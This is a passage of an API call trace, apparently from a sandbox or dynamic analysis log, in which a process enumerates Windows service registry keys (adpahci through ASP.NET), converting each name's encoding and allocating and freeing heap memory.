(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.963] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.963] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.964] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0258.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.965] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0258.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0258.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.966] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.967] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0258.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.968] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.969] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 